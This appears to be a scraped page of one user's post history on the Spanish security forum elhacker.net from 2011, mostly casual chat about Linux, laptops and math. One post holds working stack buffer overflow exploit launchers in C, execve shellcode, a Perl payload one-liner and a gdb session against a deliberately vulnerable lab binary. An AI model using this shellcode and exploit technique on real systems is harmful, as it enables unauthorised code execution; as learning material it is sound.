elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ... 125
321  Foros Generales / Dudas Generales / Re: desde openVMS saber IP de el PC ejecutor en: 7 Febrero 2011, 19:20 pm
Del que se conecta? Pues mira los logs :P  :-\ no tiene vuelta de hoja. Y si pruebas a mirar el README?
322  Foros Generales / Foro Libre / Re: Yo quiero ser Inmortal - NO quiero morir ¿y TU? en: 7 Febrero 2011, 19:10 pm
lo mejor que se podria hacer si se fuera inmortal sería curar el cancer y enfermedades como esas, así se podría alargar mucho mas la vida de algunas personas. Por lo demas vivir en armonía sería lo primordial, imaginense una guerra eterna, si la inmortalidad significa un eterno conflicto prefiero la mortalidad...saludos

Se resume todo... Bien razonado, Mini-nauta...
Una cosa... Si somos inmortales no tendremos enfermedades no? Porque si no, moriríamos...

Paradójicamente, para vivir antes hay que morir...
323  Foros Generales / Foro Libre / Re: el futuro de los hd serán los cristales? en: 7 Febrero 2011, 19:08 pm
Wow sería increible... Os imaginais a tu pareja mirandose en ese espejo?  :silbar:
324  Informática / Hardware / Re: ¿Cual de estos portatiles elegirias? en: 7 Febrero 2011, 19:06 pm
El Bell esta muy bien, sencillo y elegante...
Sin embargo, el HP es igual pero más... "bonito".

Dudaria entre ambos. Depende de para qué usarlo y del precio...
325  Foros Generales / Foro Libre / Re: La Gioconda ........hoy en: 7 Febrero 2011, 19:04 pm
Jaja como no fumo...
Si te doy mi opinión...
1) Es muy seria y aburrida. No se le ve alegre. Además es viejísima...
2) Parece ... Sin comentarios. No es alegre, es guarrilla :P. PD: Rubia? Y?

Soy dificilillo, pero esto ha sido facil jeje...
326  Foros Generales / Noticias / Re: ¿Qué hace que una contraseña sea sencilla y a la vez no sea hackeada? en: 7 Febrero 2011, 19:01 pm
Habeis probado a meter de contraseña "espacioblanco"? No la adivinareis nunca...
327  Foros Generales / Noticias / Re: Elite reinventará el Spectrum para celebrar su 30 aniversario en: 7 Febrero 2011, 18:58 pm
Mmm que guay, nunca he visto ninguno...
Una cosa, yo llegue tarde a esto del Spectrum y demás... He oído hablar de ellos y el otro día un amigo me contó algunas cosillas... Como eran? Iban bien? Que hacíais con ellos? Etc.

Un saludo! :P
328  Seguridad Informática / Bugs y Exploits / Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona? en: 7 Febrero 2011, 18:49 pm
No, eso que pusiste no es mi code.

Tiene errores, como
Código:
char nops[23] = "";
es nops[24] ;). Quiza por eso te tira segmentation fault.

Y eso del sprintf que ya te dije ;).



Pon mas informacion, que distro usas ???

Yo uso OpenSuSe y me funciona perfecto.

Sa1uDoS

P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).



EDIT:

A mi asi me funciona:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main(){
  6.  
  7. char exp[] = "./bof";
  8. char nops[24] = "";
  9. memset(nops, '\x90', 23);
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  11. char ret[]="\x18\x1f\x9b\xbf";
  12.  
  13. char *cmd;
  14. cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
  15.  
  16. sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
  17.  
  18. system(cmd);
  19. free(cmd);
  20.  
  21. return 0;
  22. }
  23.  



EDIT2:

Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.

Código
  1. #include <stdio.h> /* Para Sprintf */
  2. #include <string.h> /* Para memset */
  3. #include <stdlib.h> /*Para malloc y system */
  4.  
  5. int main()
  6. {
  7. char name[]="./bof";
  8. char nops[26]="";
  9. memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  11. "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
  12. char ret[]="\x18\x1f\x9b\xbf";
  13.  
  14. char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
  15. cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
  16. para juntar todo */
  17. sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
  18. puntero cmd, entre name y los demas campos dejamos un espacio */
  19. system(cmd);
  20. free(cmd);/* Liberamos la memoria */
  21. return 0;
  22. }
  23.  

Wow gracias por revivir a todos! Estaba tanto con el taller que se me habia pasado...
Como os comentaba, podeis probar a hacerlo con Perl desde la linea de comandos :P
./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xXX\xXX\xXX\xXX"')

Las XX las sustituis por vuestra direccion de regreso :P. Aqui pongo la de la variable buffer, donde se encuentra la shellcode. Aparte, si os dais cuenta...
11 + 25 + 4 = 40. Buffer = 36. Que pasa? Porque en medio tenemos EBP y el ret. Pues lo que pasa es que al volver se quitan 4 bytes :P.
Bueno, hago eso y me suelta la shell.
Ahora, para vuestra direccion de regreso...
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack [b]-g[/b]
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x80483ca: file vuln.c, line 7.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000
(gdb)

Ahora, si quereis le sumais algo por si las moscas :P
329  Foros Generales / Foro Libre / Re: ¿Porqué usar linux/Unix en lugar de plataforma Dos/Windows ? en: 7 Febrero 2011, 18:09 pm
Wow que de comentarios!

Windows es mejor que linux...
1- Compatibilidad.
2- Cantidad de software que hay para este.
3- Es compatible para el hack.
4- La instalaciones de software vale para tontos.
5- No tiene que recurrir a la emulacion de windows XDDD para la utilizacion de algun programa.
6- Mi windows 7 Es pirata y microsoft me lo actualiza por ahora xDD.
... no se me ocurre nada  más xDDD

Tzhed y tu os habeis aliado contra mi  :¬¬ jeje...
1. Compatibilidad con los programas para Windows. A veces ni eso.
2. Claro, si todos prefieren las ventanitas a las ventanitas con terminales...
3. Ah si? Lo has probado alguna vez?
4. Claro, y la de linux: sudo apt-get autoupdate. Pero que se actualiza?
5. Claro, si estas en Windows... Hay programas para linux, sabes?
6. Si, los de Microsoft te lo actualizan para que te quedes :P

Descarga Ubuntu, alguna sencillita... Y Wine xD.
Luego, con la de errores que tiene, los pantallazos, cuando se congela, cuando te cargas el PC por nada...
Algunos habeis hecho una buena defensa de Windows; el problema es que Windows es tan malo que no se puede defender. Aparte de millones de users y cientos de juegos... Que tiene?
PD: Algunos comentarios de Linux hacen gracia  :xD
330  Foros Generales / Dudas Generales / Re: [Matemáticas][?] No se hacer esta operacion[Resuelto] en: 6 Febrero 2011, 20:59 pm
Y porque sigues poniendo esas comprobaciones? xDSi miras bien es:
4 + (5-1) = 2(5) - 2
4 + 4 = 10 - 2
8 = 8

Y solo digo q tengo mas experiencia talvez, no se mucho, pero vs q decis q tenes 12 años, cosa q no creo.. es dificil q sepas algunas cosas
No tengo problema en que no creas en eso, no veo que ventaja tendría diciendo eso. Sin embargo, si quieres busco por todos mis post y borro todo eso, no sea que alguien se crea que soy un mentiroso que solo quiere quedar bien.

Aparte...
Citar
2+  (x-1)/2  = x -1   // Lo separo bien pa q entiendas xD
4+(x-1)/2 = x -1 // Ahora el 2 esta dividiendo todo el miembro izquierdo entonces podre pasarlo sin problemas multiplicando.
La primera y la segunda son completamente iguales, excepto por la el cuatro duplicado.
2 + (5-1) / 2 = 5-1
2 + 4 / 2 = 4
2 + 2 = 4
4 = 4
Correcto
--------------------------------
4 + (5-1) / 2 = 5 -1
4 + 4 / 2 = 4
4 + 2 = 4
6=4
Creo que está mal...

Aparte, si en vez de...
Código:
4 + (5-1) / 2 = 5 -1
Le metemos:
Código:
[4 + (5-1)] / 2 = 5 -1
Pues sería correcto... :P
[4 + (5-1)] / 2 = 5 -1
(4 + 4) / 2 = 5-1
8 / 2 = 4
4 = 4
Ahora, comprendo que no tengo más "experiencia" que tu, si le ves un fallo, dimelo...
Saludos xD
Páginas: 1 ... 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ... 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines